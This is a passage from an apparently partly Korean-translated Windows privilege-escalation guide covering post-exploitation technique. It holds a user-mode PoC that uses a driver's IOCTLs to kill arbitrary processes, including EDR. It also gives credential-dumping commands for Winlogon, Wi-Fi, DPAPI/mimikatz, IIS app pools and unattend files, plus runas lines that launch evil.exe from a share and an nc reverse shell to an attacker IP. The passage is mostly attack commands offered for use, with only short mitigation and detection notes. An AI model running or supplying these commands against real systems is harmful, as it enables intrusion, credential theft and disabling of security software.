Arbitrary Kernel Rw Token Theft

For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

์ผ๋ถ€ ์„œ๋ช…๋œ ์„œ๋“œํŒŒํ‹ฐ ๋“œ๋ผ์ด๋ฒ„๋Š” IoCreateDeviceSecure๋ฅผ ํ†ตํ•ด ๊ฐ•๋ ฅํ•œ SDDL๋กœ device object๋ฅผ ์ƒ์„ฑํ•˜์ง€๋งŒ DeviceCharacteristics์— FILE_DEVICE_SECURE_OPEN์„ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ์žŠ์Šต๋‹ˆ๋‹ค. ์ด ํ”Œ๋ž˜๊ทธ๊ฐ€ ์—†์œผ๋ฉด, ์ถ”๊ฐ€ ์ปดํฌ๋„ŒํŠธ๋ฅผ ํฌํ•จํ•œ ๊ฒฝ๋กœ๋กœ ๋””๋ฐ”์ด์Šค๋ฅผ ์—ด ๋•Œ secure DACL์ด ์ ์šฉ๋˜์ง€ ์•Š์•„, ๋น„๊ถŒํ•œ ์‚ฌ์šฉ์ž๋„ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•ด ํ•ธ๋“ค์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

์‚ฌ์šฉ์ž๊ฐ€ ๋””๋ฐ”์ด์Šค๋ฅผ ์—ด ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋ฉด, ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋…ธ์ถœํ•œ privileged IOCTLs๋ฅผ LPE ๋ฐ ๋ณ€์กฐ์— ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ ๊ด€์ฐฐ๋œ ์˜ˆ์‹œ ๊ธฐ๋Šฅ๋“ค:

  • ์ž„์˜ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ์ „์ฒด ์ ‘๊ทผ ํ•ธ๋“ค ๋ฐ˜ํ™˜ (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • ์ œํ•œ ์—†๋Š” raw disk read/write (์˜คํ”„๋ผ์ธ ๋ณ€์กฐ, ๋ถ€ํŒ… ์‹œ ์˜์†์„ฑ ํŠธ๋ฆญ).
  • Protected Process/Light (PP/PPL)๋ฅผ ํฌํ•จํ•œ ์ž„์˜ ํ”„๋กœ์„ธ์Šค ์ข…๋ฃŒ, ์ด๋ฅผ ํ†ตํ•ด user land์—์„œ kernel์„ ํ†ตํ•ด AV/EDR๋ฅผ ์ข…๋ฃŒ(kill)ํ•  ์ˆ˜ ์žˆ์Œ.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

๊ฐœ๋ฐœ์ž๋ฅผ ์œ„ํ•œ ์™„ํ™”์ฑ…

  • DACL๋กœ ์ œํ•œํ•˜๋ ค๋Š” device ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ํ•ญ์ƒ FILE_DEVICE_SECURE_OPEN์„ ์„ค์ •ํ•˜์„ธ์š”.
  • ๊ถŒํ•œ ์žˆ๋Š” ์ž‘์—…์— ๋Œ€ํ•ด ํ˜ธ์ถœ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ๊ฒ€์ฆํ•˜์„ธ์š”. ํ”„๋กœ์„ธ์Šค ์ข…๋ฃŒ๋‚˜ handle ๋ฐ˜ํ™˜์„ ํ—ˆ์šฉํ•˜๊ธฐ ์ „์— PP/PPL ๊ฒ€์‚ฌ๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”.
  • IOCTLs( access masks, METHOD_*, input validation)๋ฅผ ์ œํ•œํ•˜๊ณ  ์ง์ ‘ kernel ๊ถŒํ•œ ๋Œ€์‹  brokered models๋ฅผ ๊ณ ๋ คํ•˜์„ธ์š”.

์ˆ˜๋น„์ž๋ฅผ ์œ„ํ•œ ํƒ์ง€ ์•„์ด๋””์–ด

  • ์˜์‹ฌ์Šค๋Ÿฌ์šด ๋””๋ฐ”์ด์Šค ์ด๋ฆ„(์˜ˆ: \ .\amsdk*)์˜ user-mode ์˜คํ”ˆ๊ณผ ๋‚จ์šฉ์„ ์‹œ์‚ฌํ•˜๋Š” ํŠน์ • IOCTL ์‹œํ€€์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”.
  • Microsoft์˜ vulnerable driver blocklist(HVCI/WDAC/Smart App Control)๋ฅผ ์ ์šฉํ•˜๊ณ  ์ž์ฒด allow/deny ๋ชฉ๋ก์„ ์œ ์ง€ํ•˜์„ธ์š”.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

์ด ๊ฒ€์‚ฌ๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Writable Sys Path +Dll Hijacking Privesc

๋„คํŠธ์›Œํฌ

๊ณต์œ 

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts file์— ํ•˜๋“œ์ฝ”๋”ฉ๋œ ๋‹ค๋ฅธ ์•Œ๋ ค์ง„ ์ปดํ“จํ„ฐ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”

type C:\Windows\System32\drivers\etc\hosts

๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค ๋ฐ DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

์—ด๋ ค ์žˆ๋Š” ํฌํŠธ

์™ธ๋ถ€์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์ œํ•œ๋œ ์„œ๋น„์Šค๋ฅผ ํ™•์ธํ•˜์„ธ์š”

netstat -ano #Opened ports?

๋ผ์šฐํŒ… ํ…Œ์ด๋ธ”

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP ํ…Œ์ด๋ธ”

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall ๊ทœ์น™

Check this page for Firewall related commands (๊ทœ์น™ ๋‚˜์—ด, ๊ทœ์น™ ์ƒ์„ฑ, ๋น„ํ™œ์„ฑํ™”, ๋น„ํ™œ์„ฑํ™”โ€ฆ)

์ถ”๊ฐ€ commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

๋ฐ”์ด๋„ˆ๋ฆฌ bash.exe๋Š” C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe์—๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

root user๋ฅผ ์–ป์œผ๋ฉด ์–ด๋–ค ํฌํŠธ์—์„œ๋„ listenํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ฒ˜์Œ nc.exe๋กœ ํฌํŠธ๋ฅผ listenํ•˜๋ฉด GUI๋ฅผ ํ†ตํ•ด nc๋ฅผ firewall์—์„œ ํ—ˆ์šฉํ• ์ง€ ๋ฌป์Šต๋‹ˆ๋‹ค).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

To easily start bash as root, you can try --default-user root

๋‹ค์Œ ํด๋”์—์„œ WSL ํŒŒ์ผ์‹œ์Šคํ…œ์„ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault๋Š” ์„œ๋ฒ„, ์›น์‚ฌ์ดํŠธ ๋ฐ ๊ธฐํƒ€ ํ”„๋กœ๊ทธ๋žจ์— ๋Œ€ํ•œ ์‚ฌ์šฉ์ž credentials๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ credentials๋Š” Windows๊ฐ€ ์‚ฌ์šฉ์ž๋ฅผ ์ž๋™์œผ๋กœ ๋กœ๊ทธ์ธ์‹œํ‚ฌ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด ์ค๋‹ˆ๋‹ค. ์ฒ˜์Œ ๋ณด๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ Facebook, Twitter, Gmail ๋“ฑ๊ณผ ๊ฐ™์€ ์ž๊ฒฉ์ฆ๋ช…์„ ์ €์žฅํ•ด ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž๋™์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋„๋ก ํ•˜๋Š” ๊ธฐ๋Šฅ์ฒ˜๋Ÿผ ๋ณด์ผ ์ˆ˜ ์žˆ์ง€๋งŒ, ์‹ค์ œ๋กœ๋Š” ๊ทธ๋ ‡์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Windows Vault๋Š” Windows๊ฐ€ ์‚ฌ์šฉ์ž๋ฅผ ์ž๋™์œผ๋กœ ๋กœ๊ทธ์ธ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ์ž๊ฒฉ์ฆ๋ช…์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, ์–ด๋–ค Windows application that needs credentials to access a resource(์„œ๋ฒ„ ๋˜๋Š” ์›น์‚ฌ์ดํŠธ)๋ผ๋„ can make use of this Credential Manager & Windows Vault๋ฅผ ์ด์šฉํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ๋งค๋ฒˆ ์‚ฌ์šฉ์ž๋ช…๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ž…๋ ฅํ•˜๋Š” ๋Œ€์‹  ์ €์žฅ๋œ ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๋œป์ž…๋‹ˆ๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด Credential Manager์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜์ง€ ์•Š์œผ๋ฉด ํŠน์ • ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด vault๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ๊ธฐ๋ณธ ์ €์žฅ vault์—์„œ ํ•ด๋‹น ๋ฆฌ์†Œ์Šค์˜ ์ž๊ฒฉ์ฆ๋ช…์„ ์š”์ฒญํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ป๊ฒŒ๋“  communicate with the credential manager and request the credentials for that resource ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋จธ์‹ ์— ์ €์žฅ๋œ ์ž๊ฒฉ์ฆ๋ช…์„ ๋‚˜์—ดํ•˜๋ ค๋ฉด cmdkey๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

๊ทธ๋Ÿฐ ๋‹ค์Œ ์ €์žฅ๋œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด runas๋ฅผ /savecred ์˜ต์…˜๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ์˜ˆ์ œ๋Š” SMB ๊ณต์œ ๋ฅผ ํ†ตํ•ด ์›๊ฒฉ binary๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์˜ˆ์ž…๋‹ˆ๋‹ค.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runas๋ฅผ ์ œ๊ณต๋œ ์ž๊ฒฉ ์ฆ๋ช… ์„ธํŠธ๋กœ ์‚ฌ์šฉํ•˜๊ธฐ.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module์—์„œ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

DPAPI

The Data Protection API (DPAPI) provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy.

DPAPI enables the encryption of keys through a symmetric key that is derived from the userโ€™s login secrets. In scenarios involving system encryption, it utilizes the systemโ€™s domain authentication secrets.

Encrypted user RSA keys, by using DPAPI, are stored in the %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} represents the userโ€™s Security Identifier. The DPAPI key, co-located with the master key that safeguards the userโ€™s private keys in the same file, typically consists of 64 bytes of random data. (Itโ€™s important to note that access to this directory is restricted, preventing listing its contents via the dir command in CMD, though it can be listed through PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

์ ์ ˆํ•œ ์ธ์ˆ˜ (/pvk ๋˜๋Š” /rpc)์™€ ํ•จ๊ป˜ mimikatz module dpapi::masterkey๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋ฅผ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

credentials files protected by the master password๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค์Œ ์œ„์น˜์— ์žˆ์Šต๋‹ˆ๋‹ค:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
๋ฃจํŠธ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด sekurlsa::dpapi ๋ชจ๋“ˆ๋กœ ๋งŽ์€ DPAPI masterkeys๋ฅผ memory์—์„œ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials๋Š” ์•”ํ˜ธํ™”๋œ credentials๋ฅผ ํŽธ๋ฆฌํ•˜๊ฒŒ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ scripting ๋ฐ ์ž๋™ํ™” ์ž‘์—…์— ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น credentials๋Š” DPAPI๋กœ ๋ณดํ˜ธ๋˜๋ฉฐ, ์ผ๋ฐ˜์ ์œผ๋กœ ์ƒ์„ฑ๋œ ๋™์ผํ•œ ์‚ฌ์šฉ์ž์™€ ๋™์ผํ•œ ์ปดํ“จํ„ฐ์—์„œ๋งŒ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŒŒ์ผ์— ๋“ค์–ด์žˆ๋Š” PS credentials๋ฅผ decryptํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

์™€์ดํŒŒ์ด

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Saved RDP Connections

๋‹ค์Œ ๊ฒฝ๋กœ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
๋ฐ HKCU\Software\Microsoft\Terminal Server Client\Servers\

์ตœ๊ทผ ์‹คํ–‰๋œ ๋ช…๋ น

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

์›๊ฒฉ ๋ฐ์Šคํฌํ†ฑ ์ž๊ฒฉ ์ฆ๋ช… ๊ด€๋ฆฌ์ž

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **decrypt any .rdg files\ Mimikatz sekurlsa::dpapi` ๋ชจ๋“ˆ๋กœ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋งŽ์€ DPAPI masterkeys๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Sticky Notes

์‚ฌ๋žŒ๋“ค์€ ์ข…์ข… Windows ์›Œํฌ์Šคํ…Œ์ด์…˜์—์„œ StickyNotes ์•ฑ์„ ์‚ฌ์šฉํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํŒŒ์ผ์ด๋ผ๋Š” ์‚ฌ์‹ค์„ ๋ชจ๋ฅธ ์ฑ„ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ ๊ธฐํƒ€ ์ •๋ณด๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite์— ์œ„์น˜ํ•˜๋ฉฐ ํ•ญ์ƒ ์ฐพ์•„๋ณด๊ณ  ์กฐ์‚ฌํ•  ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
์ด ํŒŒ์ผ์ด ์กด์žฌํ•˜๋ฉด ์ผ๋ถ€ credentials๊ฐ€ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๊ณ  ๋ณต๊ตฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

This code was extracted from PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” .\
์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ์€ SYSTEM ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค, ๋งŽ์€ ํ”„๋กœ๊ทธ๋žจ์ด DLL Sideloading (์ •๋ณด ์ถœ์ฒ˜ https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ํŒŒ์ผ ๋ฐ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH ํ˜ธ์ŠคํŠธ ํ‚ค

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์˜ SSH keys

SSH private keys๋Š” ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค HKCU\Software\OpenSSH\Agent\Keys ์•ˆ์— ์ €์žฅ๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๊ทธ ์•ˆ์— ํฅ๋ฏธ๋กœ์šด ํ•ญ๋ชฉ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

ํ•ด๋‹น ๊ฒฝ๋กœ์—์„œ ํ•ญ๋ชฉ์„ ์ฐพ์œผ๋ฉด ๋Œ€๋ถ€๋ถ„ ์ €์žฅ๋œ SSH ํ‚ค์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. ์ด ํ‚ค๋Š” ์•”ํ˜ธํ™”๋˜์–ด ์ €์žฅ๋˜์–ด ์žˆ์ง€๋งŒ https://github.com/ropnop/windows_sshagent_extract๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‰ฝ๊ฒŒ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

๋งŒ์•ฝ ssh-agent ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰ ์ค‘์ด ์•„๋‹ˆ๊ณ  ๋ถ€ํŒ… ์‹œ ์ž๋™์œผ๋กœ ์‹œ์ž‘๋˜๊ฒŒ ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

์ด ๊ธฐ๋ฒ•์€ ๋” ์ด์ƒ ์œ ํšจํ•˜์ง€ ์•Š์€ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋ช‡ ๊ฐœ์˜ ssh ํ‚ค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ssh-add๋กœ ์ถ”๊ฐ€ํ•œ ๋’ค ssh๋กœ ๋จธ์‹ ์— ๋กœ๊ทธ์ธํ•ด๋ณด์•˜์Šต๋‹ˆ๋‹ค. ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ HKCU\Software\OpenSSH\Agent\Keys๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์•˜๊ณ  procmon์€ ๋น„๋Œ€์นญ ํ‚ค ์ธ์ฆ ๊ณผ์ •์—์„œ dpapi.dll์˜ ์‚ฌ์šฉ์„ ์‹๋ณ„ํ•˜์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ฐ์‹œ๋˜์ง€ ์•Š์€ ํŒŒ์ผ

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

๋‹ค์Œ ํŒŒ์ผ๋“ค์€ metasploit์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒ€์ƒ‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: post/windows/gather/enum_unattend

์˜ˆ์‹œ ๋‚ด์šฉ:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM ๋ฐฑ์—…

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
